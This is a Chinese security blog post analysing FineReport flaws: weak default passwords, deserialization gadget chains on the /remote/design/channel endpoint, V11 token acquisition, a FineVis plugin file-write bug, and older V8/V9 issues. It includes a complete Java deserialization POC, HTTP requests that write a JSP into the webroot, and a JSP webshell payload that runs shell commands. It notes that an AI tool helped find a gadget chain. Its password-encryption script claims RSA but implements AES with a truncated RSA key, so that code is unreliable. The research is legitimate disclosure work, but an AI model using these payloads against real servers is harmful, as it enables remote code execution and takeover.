帆软报表历史漏洞分析(二)
本文分析帆软FineReport的channel接口反序列化漏洞(含TreeBag、ImmutableSetMultimap等多条利用链)、FineVis插件任意文件写入漏洞,并列举V8/V9老版本历史漏洞。
目录
前言
在上一篇文章(https://xz.aliyun.com/news/91753)中,对帆软FineReport的路由结构和SQL注入类漏洞进行了详细分析。
这篇文章主要对之前遗留的channel接口反序列化漏洞和FineVis文件上传漏洞进行分析,最后列举一下V8 V9老版本的一些漏洞。
弱口令
影响版本

漏洞分析
实际的内置用户,以管理员登录后的页面为准:

任意挑选一个用户,密码都为123456,即可登录后台。
官方修复
删除默认的内置用户,或手动修改密码。
/remote/design/channel反序列化
影响版本
V11只能后台利用,<=11.0.32 有利用链
V10能前台利用,全版本都有利用链
漏洞分析
反序列化点
官方通告中给出了路由:

搜索路由,找到对应类:


跟进onMessage,这里V11和V10版本有明显不同。
V10版本没有任何校验,直接对数据进行处理,能够前台利用:

而V11版本是有身份校验的,只能后台利用:

两者的序列化数据都直接作为请求体。
实际上,官方通报中的这几个漏洞,在V11都只能后台利用:

这里先不分析鉴权,继续分析反序列化点,跟进最后一行的com.fr.workspace.WorkContext#handleMessage:

继续跟进handleMessage:


这里就是反序列化点了,能够看出,使用的是SafeInvocationSerializer,且经过一层Gzip包裹。
反序列化链
这个漏洞本质上就是找反序列化链,而涉及到的反序列化链有很多文章都分析过,所以这里仅简单分析一下。
由于没法找到每个版本的黑名单,所以不清楚链子具体是在哪个版本被禁用的,部分链子仅能给出大致的修复版本。
另外,帆软中的第三方包都位于com/fr/third中,包名和正常的不一样,所以利用链都不能直接用工具生成,需要自己手写。
还有一件事,官方说的HSQL漏洞命令执行漏洞,实际就是这个接口的反序列化漏洞,只是最新的绕过用到了HSQL去调public static方法:

这里的拥有远程设计权限和封禁路由,都和channel反序列化对应。
黑名单对比
通过黑名单对比,能够知道每个版本新增的过滤类,从而反推链子。
黑名单位于:
![]()
对比脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
比较两个txt文件的行差异
找出增加的行和减少的行
"""
import argparse
from pathlib import Path
def compare_files(file1: str, file2: str) -> tuple[set, set]:
"""
比较两个文件的行差异
Args:
file1: 原始文件路径(基准文件)
file2: 新文件路径
Returns:
tuple: (增加的行集合, 减少的行集合)
"""
# 读取文件内容,去除每行首尾空白
with open(file1, 'r', encoding='utf-8') as f:
lines1 = {line.strip() for line in f if line.strip()}
with open(file2, 'r', encoding='utf-8') as f:
lines2 = {line.strip() for line in f if line.strip()}
# 计算差异
added = lines2 - lines1 # 在新文件中增加的行
removed = lines1 - lines2 # 在新文件中减少的行
return added, removed
def format_line(line: str, keyword: str | None) -> str:
"""
格式化输出行,如果包含关键词则用*标注
Args:
line: 要输出的行内容
keyword: 关键词(可选)
Returns:
格式化后的行
"""
if keyword and keyword in line:
return f" * {line} <--"
return f" {line}"
def main():
parser = argparse.ArgumentParser(
description='比较两个txt文件的行差异',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
示例:
python compare_txt.py old.txt new.txt
python compare_txt.py old.txt new.txt "Servlet"
python compare_txt.py old.txt new.txt "Servlet" --output result.txt
'''
)
parser.add_argument('file1', help='原始文件路径(基准文件)')
parser.add_argument('file2', help='新文件路径')
parser.add_argument('keyword', nargs='?', default=None, help='关键词,匹配的行会用*标注(可选)')
parser.add_argument('--output', '-o', help='输出结果到指定文件(可选)')
parser.add_argument('--sort', '-s', action='store_true', help='按字母顺序排序输出')
args = parser.parse_args()
# 检查文件是否存在
if not Path(args.file1).exists():
print(f"错误: 文件 '{args.file1}' 不存在")
return
if not Path(args.file2).exists():
print(f"错误: 文件 '{args.file2}' 不存在")
return
# 比较文件
added, removed = compare_files(args.file1, args.file2)
# 构建输出内容
output_lines = []
output_lines.append("=" * 60)
output_lines.append(f"基准文件: {args.file1}")
output_lines.append(f"比较文件: {args.file2}")
if args.keyword:
output_lines.append(f"关键词: {args.keyword}")
output_lines.append("=" * 60)
# 输出减少的行
output_lines.append(f"\n【减少的行】({len(removed)} 个)")
output_lines.append("-" * 40)
if removed:
sorted_removed = sorted(removed) if args.sort else removed
for line in sorted_removed:
output_lines.append(format_line(line, args.keyword))
else:
output_lines.append(" (无)")
# 输出增加的行
output_lines.append(f"\n【增加的行】({len(added)} 个)")
output_lines.append("-" * 40)
if added:
sorted_added = sorted(added) if args.sort else added
for line in sorted_added:
output_lines.append(format_line(line, args.keyword))
else:
output_lines.append(" (无)")
# 统计信息
# 读取文件获取行数
with open(args.file1, 'r', encoding='utf-8') as f:
count1 = len([l for l in f if l.strip()])
with open(args.file2, 'r', encoding='utf-8') as f:
count2 = len([l for l in f if l.strip()])
output_lines.append("\n" + "=" * 60)
output_lines.append("统计信息:")
output_lines.append(f" 基准文件行数: {count1}")
output_lines.append(f" 比较文件行数: {count2}")
output_lines.append(f" 减少行数: {len(removed)}")
output_lines.append(f" 增加行数: {len(added)}")
output_lines.append("=" * 60)
# 输出结果
result = '\n'.join(output_lines)
print(result)
# 保存到文件
if args.output:
with open(args.output, 'w', encoding='utf-8') as f:
f.write(result)
print(f"\n结果已保存到: {args.output}")
if __name__ == '__main__':
main()我挑选了10.0.19,11.0.28,11.5.5,11.5.8进行对比,对比结果在:
hibernate链
HashMap + TypedValue + TemplatesImpl
![]()
hiberate依赖中的TypedValue#hashCode能够调用getter方法,可以接TemplatesImpl#getOutputProperties
调用栈(非帆软包名):
TypedValue.hashCode()
ValueHolder.DefferedInitializer.initialize()
org.hibernate.type.ComponentType#getHashCode(java.lang.Object)
org.hibernate.type.ComponentType#getPropertyValue(java.lang.Object, int)
org.hibernate.tuple.component.PojoComponentTuplizer.getPropertyValue-super->org.hibernate.tuple.component.AbstractComponentTuplizer#getPropertyValue
org.hibernate.property.access.spi.GetterMethodImpl#get
method.invoke()这个是最早被禁的,目前基本用不了
TreeBag链
https://forum.butian.net/share/2806
TreeBag + ClassComparator + VersionComparator + POJONode
TreeBag位于cc或cc4依赖中,帆软中存在:

TreeBag#readObject能触发到compare。
com.fr.base.ClassComparator#compare能实例化一个Comparator,并调用其compare:

org.freehep.util.VersionComparator#compare能够调用toString

com.fr.third.fasterxml.jackson.databind.node.POJONode#toString能调用getter方法。
最后走java.security.SignedObject#getObject触发二次反序列化
调用栈:
org.apache.commons.collections.bag.TreeBag#readObject
java.util.TreeMap#put
java.util.TreeMap#compare
com.fr.base.ClassComparator#compare
org.freehep.util.VersionComparator#compare
com.fr.third.fasterxml.jackson.databind.node.POJONode#toString
java.security.SignedObject#getObject这个在V10最后一个版本已经修复-2024.3.19-10.0.19;V11-2024.7.17-11.0.28已经修复(非最早修复版本)

TextAndMnemonicHashMap链
https://xz.aliyun.com/news/14869
https://blog.csdn.net/LiangYueSec/article/details/142096830
HashMap + HashTable + UIDefaults$TextAndMnemonicHashMap + JSONArray + DruidXADataSource + HSQL + 二次反序列化/JNDI
主要讲一下JSONArray。
com.fr.json.JSONArray
这里的JSONArray,跟fastjson的可不是同一个,不过其toString方法,仍然能触发getter调用。
跟进其toString方法。



如果学习过jackson POJO那条链子,对这个writeValueAsString应该有印象,这个就是能触发getter方法,下面是POJO链中的writeValueAsString位置:

不过这里略有不同,不能直接传入Object作为构造函数:

用ArrayList包一层即可:

这里触发的getter方法要换一个,因为之前的SignedObject已经ban了。
com.fr.third.alibaba.druid.pool.xa.DruidXADataSource#getXAConnection()能够触发JDBC连接,从而转化成JDBC利用:

帆软有HSQL的驱动,而HSQL在JDBC连接时,可以调用任意public static方法,从而进行二次反序列化或JNDI。
关于HSQL的利用,可以看浅蓝师傅和其他师傅的文章:
https://b1ue.cn/archives/458.html
https://xz.aliyun.com/news/9675
DruidXADataSource的构造:
DruidDataSource ds = new DruidXADataSource();
ds.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver");
ds.setUrl("jdbc:hsqldb:mem:test");
ds.setUsername("any");
ds.setPassword("");
ds.setInitialSize(1);
ds.setValidationQuery("CALL \"org.terracotta.modules.ehcache.collections.SerializationHelper.deserialize\"(X'" +serData+ "');");
ds.setLogWriter(null);
ds.setStatLogger(null);
// 无法序列化的就设置成 null
ReflectTools.setFieldValue(ds,"transactionHistogram",null);
ReflectTools.setFieldValue(ds,"initedLatch",null);
V10全没修;V11-2024.7.17-11.0.28已修复(非最早修复版本)

ImmutableSetMultimap链
ImmutableSetMultimap + UsingToStringOrdering + JSONArray
对比11.0.28和11.5.5的黑名单:

这里看一下com.fr.third.guava.collect.ImmutableSetMultimap:

这里一开始会反序列化一个comparator,之前的反序列化链中有通过compare触发toString的,所以这里可以再去找找,有没有不在黑名单中的compare方法。这里使用tabby对fine-cbb-11.0.jar进行分析:
match (source:Method {NAME0:"com.fr.third.guava.collect.ImmutableSetMultimap#readObject"})
match (sink:Method {NAME:"compare"})-[r:CALL]->(callee:Method{NAME0:"java.lang.Object#toString"})
call apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 10) yield path
where none(n in nodes(path) where
n.CLASSNAME in ["所有黑名单类"])
return path,r,callee limit 1
最后找到了com.fr.third.guava.collect.UsingToStringOrdering#compare:

不过中间部分的链子有点问题,分析了一下不太能利用。
但是现在已经指定链子的开头和结尾了,这里结合jar-analyzer-mcp,让AI进行分析:
https://github.com/jar-analyzer/jar-analyzer


最终也是顺利给出了利用链,只花费了几分钟,不得不说jar-analyzer-mcp非常好用。
根据AI的回答,写一下前半段POC:
import com.fr.third.guava.collect.ImmutableSetMultimap;
import com.fr.third.guava.collect.Ordering;
import tools.ReflectTools;
import tools.UnsafeTools;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;
public class channel2 {
public static void main(String[] args) throws Exception {
getPayload();
}
public static void getPayload() throws Exception {
ImmutableSetMultimap<String, Object> multimap = ImmutableSetMultimap.<String, Object>builder()
.put("key", new ToStringClass())
.put("key", "value2")
.build();
Ordering<Object> comparator = Ordering.usingToString();
// ImmutableSortedSet 没法获取对象,找了子类
Class<?> aClass = Class.forName("com.fr.third.guava.collect.RegularImmutableSortedSet");
Object sortedSet = UnsafeTools.getObjectByUnsafe(aClass);
ReflectTools.setFieldValue(sortedSet, "comparator", comparator);
ReflectTools.setFieldValue(multimap, "emptySet", sortedSet);
byte[] bytes = ReflectTools.ser2bytes(multimap);
ReflectTools.deser(bytes, null);
}
}
能够成功触发toString:

手动分析一下。
回到readObject:

看一下valuesBuilder:
![]()
这里显然返回ImmutableSortedSet.Builder。
所以应该跟进到com.fr.third.guava.collect.ImmutableSortedSet.Builder#build:

跟进sortAndDedup:

这里发现和上面AI给的链子不太一样,会直接进入Arrays.sort触发,跟进sort:


这里hi-lo=2,与ImmutableSetMultimap put的键值对数量有关,需要给同一个键put两个及以上的值才行。
跟进countRunAndMakeAscending:

最终在这里触发compare。
后面接DruidXADataSource.getXAConnection触发JDBC。
二次反序列化的方法选择org.terracotta.modules.ehcache.collections.SerializationHelper#deserialize
最终poc:
import com.fr.json.JSONArray;
import com.fr.third.alibaba.druid.pool.DruidDataSource;
import com.fr.third.alibaba.druid.pool.xa.DruidXADataSource;
import com.fr.third.guava.collect.ImmutableSetMultimap;
import com.fr.third.guava.collect.Ordering;
import com.fr.third.springframework.aop.framework.AdvisedSupport;
import tools.ReflectTools;
import tools.StringTools;
import tools.TemplatesGen;
import tools.UnsafeTools;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.Comparator;
public class channel2 {
public static void main(String[] args) throws Exception {
getPayload();
}
public static void getPayload() throws Exception {
String serData = getSerData();
DruidDataSource ds = new DruidXADataSource();
ds.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver");
ds.setUrl("jdbc:hsqldb:mem:test");
ds.setUsername("any");
ds.setPassword("");
ds.setInitialSize(1);
ds.setValidationQuery("CALL \"org.terracotta.modules.ehcache.collections.SerializationHelper.deserialize\"(X'" +serData+ "');");
ds.setLogWriter(null);
ds.setStatLogger(null);
ReflectTools.setFieldValue(ds,"transactionHistogram",null);
ReflectTools.setFieldValue(ds,"initedLatch",null);
ArrayList<Object> list = new ArrayList<>();
list.add(ds);
JSONArray jsonArray = new JSONArray();
jsonArray.add(list);
ImmutableSetMultimap<String, Object> multimap = ImmutableSetMultimap.<String, Object>builder()
.put("key", jsonArray)
.put("key", "value2")
.build();
Ordering<Object> comparator = Ordering.usingToString();
// ImmutableSortedSet 没法获取对象,找了子类
Class<?> aClass = Class.forName("com.fr.third.guava.collect.RegularImmutableSortedSet");
Object sortedSet = UnsafeTools.getObjectByUnsafe(aClass);
ReflectTools.setFieldValue(sortedSet, "comparator", comparator);
ReflectTools.setFieldValue(multimap, "emptySet", sortedSet);
byte[] bytes = ReflectTools.ser2bytes(multimap);
ReflectTools.deser(bytes, null);
}
public static String getSerData() throws Exception {
Templates templates = TemplatesGen.getTemplates1(null, "D:/1tmp/classes/CalcAbs.class");
ArrayList<Object> list = new ArrayList<>();
Class<?> clazz = Class.forName("com.fr.third.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
list.add(proxy);
JSONArray jsonArray = new JSONArray();
jsonArray.add(list);
BadAttributeValueExpException bad = new BadAttributeValueExpException("any");
ReflectTools.setFieldValue(bad, "val", jsonArray);
byte[] bytes = ReflectTools.ser2bytes(bad);
String s = StringTools.bytesToHexString(bytes);
return s;
}
}
如果要打帆软,外面还得包一层GZip:
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZipSerializerWrapper.wrap(JDKSerializer.getInstance()).serialize((Serializable) multimap, baos);
byte[] byteArray = baos.toByteArray();用到的Tools类在我的仓库:https://github.com/1diot9/MyJavaSecStudy/tree/main/tools
调用栈:
at com.fr.third.alibaba.druid.pool.xa.DruidXADataSource.getXAConnection(DruidXADataSource.java:46)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.fr.third.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:688)
at com.fr.third.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:772)
at com.fr.third.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serializeContents(IndexedListSerializer.java:119)
at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serialize(IndexedListSerializer.java:79)
at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serialize(IndexedListSerializer.java:18)
at com.fr.third.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:479)
at com.fr.third.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:318)
at com.fr.third.fasterxml.jackson.databind.ObjectMapper._writeValueAndClose(ObjectMapper.java:4719)
at com.fr.third.fasterxml.jackson.databind.ObjectMapper.writeValueAsString(ObjectMapper.java:3964)
at com.fr.json.revise.EmbedJson.encode(EmbedJson.java:99)
at com.fr.json.JSONArray.encode(JSONArray.java:560)
at com.fr.json.JSONArray.toString(JSONArray.java:590)
at com.fr.third.guava.collect.UsingToStringOrdering.compare(UsingToStringOrdering.java:29)
at java.util.TimSort.countRunAndMakeAscending(TimSort.java:355)
at java.util.TimSort.sort(TimSort.java:220)
at java.util.Arrays.sort(Arrays.java:1512)
at com.fr.third.guava.collect.ImmutableSortedSet$Builder.sortAndDedup(ImmutableSortedSet.java:454)
at com.fr.third.guava.collect.ImmutableSortedSet$Builder.build(ImmutableSortedSet.java:564)
at com.fr.third.guava.collect.ImmutableSortedSet$Builder.build(ImmutableSortedSet.java:429)
at com.fr.third.guava.collect.ImmutableSetMultimap.readObject(ImmutableSetMultimap.java:630)V11-2025.3.31-11.0.32修复
V11 鉴权分析
反序列化链讲完了,不过V11版本只能后台执行。现在分析一下,知道账密的情况下,如何进行后台利用。
目标是通过validate:

能看出来需要一个token,但是哪里产生token呢?下面来分析一下。
漏洞的路由是,/remote/design/channel,即远程设计相关的一个接口。这里的远程设计指什么?我们知道,帆软报表下载好后,我们都是通过一个designer.exe启动,这就是设计器。我们也可以通过web端进行登录,这个就是服务器。而远程设计,就是指服务器部署在远端,而本地只安装了设计器,我们想要在本地编辑远程的报表,那就需要通过登录,连接到远程的服务器。
参考官方文档,https://help.fanruan.com/finereport/doc-view-1388.html?source=3,文档的第三部分有提到怎么连接远程服务器。这里我们按照文档步骤,在设计器里尝试连接,同时在wireshark里对8075端口的流量进行捕捉:



最终就能获取到进行远程登录时,依次访问了哪几个路由:
/webroot/decision/remote/design/vt 返回是否支持远程登录
/webroot/decision/remote/design/check 返回各种密钥:

/webroot/decision/remote/design/verify 发送用户名,加密后的密码等,返回jwt,即token,这里需要注意一个请求头transEncryptLevel: 1,这个请求头告诉服务器用什么解密方式:

虽然现在能够通过抓包获取jwt,但是如果能够知道怎么在代码中直接加密的话,就不用每次都抓包了。所以现在分析一下/remote/design/verify中password的解密过程,尝试反推出加密。
/design/verify对应com.fr.decision.extension.report.api.remote.RemoteDesignResource#saferGetRemoteToken
解密的方法已经明确,这里直接让AI进行分析:

不过AI一开始只给出了AES情况和SM4情况的脚本,把/check返回的结果给AI,再次分析:

于是知道了这里应该使用RSA,加密脚本如下:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def encrypt_password(plain_password: str, encryption_key: str) -> str:
"""
加密远程设计密码
Args:
plain_password: 明文密码
encryption_key: 从 /remote/design/check 接口获取的 encryptionKey
Returns:
Base64 编码的加密密码
"""
# 1. 准备 16 字节密钥(取前 16 字节,不足补零)
key_bytes = encryption_key.encode('utf-8')[:16]
key_bytes = key_bytes.ljust(16, b'\x00')
# 2. 准备明文数据
plain_bytes = plain_password.encode('utf-8')
# 3. PKCS5/PKCS7 填充
padded_data = pad(plain_bytes, AES.block_size)
# 4. AES/ECB 加密
cipher = AES.new(key_bytes, AES.MODE_ECB)
encrypted_bytes = cipher.encrypt(padded_data)
# 5. Base64 编码
return base64.b64encode(encrypted_bytes).decode('utf-8')
# 使用示例
if __name__ == "__main__":
# 从 check 接口获取的密钥
encryption_key = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy4eFv3OWpYQbMztQKuilH5LDCasAphTa\r\nXw5Vodtt4accTo57w42iL6nJ8PsnsC/NvSp0JyluMYtkOBVv75GUCyO5PEP/Oe6AgrEGeP5GXzky\r\nW7us4Qm7Ss71WLPqNhwgkPdzC16aJuwTthLheNGL9XIP7ogmB7EAgSi44ut2B/zknO20ODzWnaR4\r\nExHDo2LpaX0BJszKhSi61k6K81WVl7jFLWflBsx8JCxDIUeX+gG1/d0Rt+ki0MHwbgdSIouQNvRh\r\n1J7pcOIwIQ9gTbvJ/Tu5i1YQM/p2yJo4x5KXIJXBgkAJJgR4USPSxq0b/wNMgfMf7YfspjBdlbUk\r\n+x/7mwIDAQAB"
# 明文密码
password = "password"
# 加密
encrypted = encrypt_password(password, encryption_key)
print(f"加密后的密码: {encrypted}")发包验证:

成功获取到jwt。
在发送请求包时,在请求头中加入username和token字段即可后台利用。虽然一般不会给测试用户分配远程设计权限,但还是可以尝试一下,配合前面的弱口令漏洞进行利用。
无权限用户返回:
![]()
官方修复
先看一下官方黑名单的位置:
![]()
再看一下具体是怎么加载黑名单的。
其序列化工具类SerializerHelper中有一个方法safeDeserialize:

默认调用SafeSerializerSummaryAdaptor进行反序列化,跟进deserialize:

再跟进safeDeserialize,deserialize:

这里使用了自定义的ObjectInputStream进行反序列化。
看一下CustomObjectInputStream:

实现了resolveClass,并在静态代码块中加载了黑名单。
除了直接使用com.fr.serialization.SerializerHelper#safeDeserialize,有时候还会使用deserialize并传入SafeInvocationSerializer,流程本质也一样:
![]()
FineVis插件任意文件写入
然后去web端的插件管理中,选择从本地安装即可。
影响版本

POC
POST /webroot/decision/view/duchamp/theme/item/copy HTTP/1.1
Host: localhost:8075
Content-Type: application/x-www-form-urlencoded
id=test&sourceID=test&config={}
POST /webroot/decision/view/duchamp/theme/attach?id=test&attachID=111&metadata=%7B%22name%22%3A%22../../../../test.jsp%22%7D HTTP/1.1
Host: localhost:8075
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
<% out.println("test321abc") %>
----WebKitFormBoundary7MA4YWxkTrZu0gW--
POST /webroot/decision/view/duchamp/theme/resource2template HTTP/1.1
Host: localhost:8075
Content-Type: application/json
{"id":"test","attachIDs":["111"],"reuseIDs":[""],"tplPath":""}
GET /webroot/test.jsp HTTP/1.1
Host: localhost:8075漏洞分析
POC中的三个路由对应三个方法,一个个看。
1、注册模板
com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#copy:

跟进copy:

这里根据sourceID去FVSTemplateStyleConfig里取出FVSTemplateStyle。不过可以看到,就算sourceID没有对应的模板,也会在if里new一个。所以sourceID随便写就行。
最后一行会在FVSTemplateStyleConfig更新模板,传入的id与模板对应。
2、上传模板图片
com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#uploadAttachImage:

跟进:

首先从模板配置中根据id取出模板,所以这里的id得跟第一个请求中的一样。
然后向模板中添加附件图片,附件图片与attachID关联。
接着向模板中添加附件元数据,附件元数据也与attachID关联。
最后根据id更新模板配置中的模板。
156、157那两行就是负责从请求中取数据的。
3、应用附件图片到模板
com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#applyThemeResource2Tpl:

跟进com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestHelper#applyThemeResource2Tpl:

跟进id从模板配置中取出模板。
根据模板中的attachID,依次取出相应的附件图片。
从元数据中取出name字段,作为写入路径。
将图片写入指定路径。
最后整理一下涉及到的几个关键类

官方修复
最新的4.7.1版本插件中,后面两个请求对应的方法都已经被删除:

V8 V9老版本漏洞
因为版本比较老,利用性不高,所以这里仅列举,不做分析,不确保payload能使用。
1、local_install 文件上传
https://forum.butian.net/share/2390
这个是 V8 版本的漏洞了
2、op=chart&cmd=get_geo_json 任意文件读取 + fr_log命令执行
https://forum.butian.net/share/2390
V8 版本漏洞
3、任意文件覆盖漏洞
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1
{"__CONTENT__":"<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}%>","__CHARSET__":"UTF-8"}V9 版本漏洞
4、实战深度利用
https://mp.weixin.qq.com/s/AgMYcyq_TE4X8MvZ7cjiPQ
附录
主要记录一些官方文档的位置:
https://help.fanruan.com/finereport/doc-view-4833.html 安全漏洞声明
https://help.fanruan.com/finereport/doc-view-1388.html?source=3 远程设计相关
参考
https://forum.butian.net/share/2806
https://blog.csdn.net/LiangYueSec/article/details/142096830
https://xz.aliyun.com/news/14869
https://b1ue.cn/archives/458.html
https://xz.aliyun.com/news/9675
涵盖channel接口反序列化(V10前台/V11后台)、FineVis插件任意文件写入及弱口令等高危漏洞链。
由 AI 根据全文自动生成,仅供参考,以原文为准
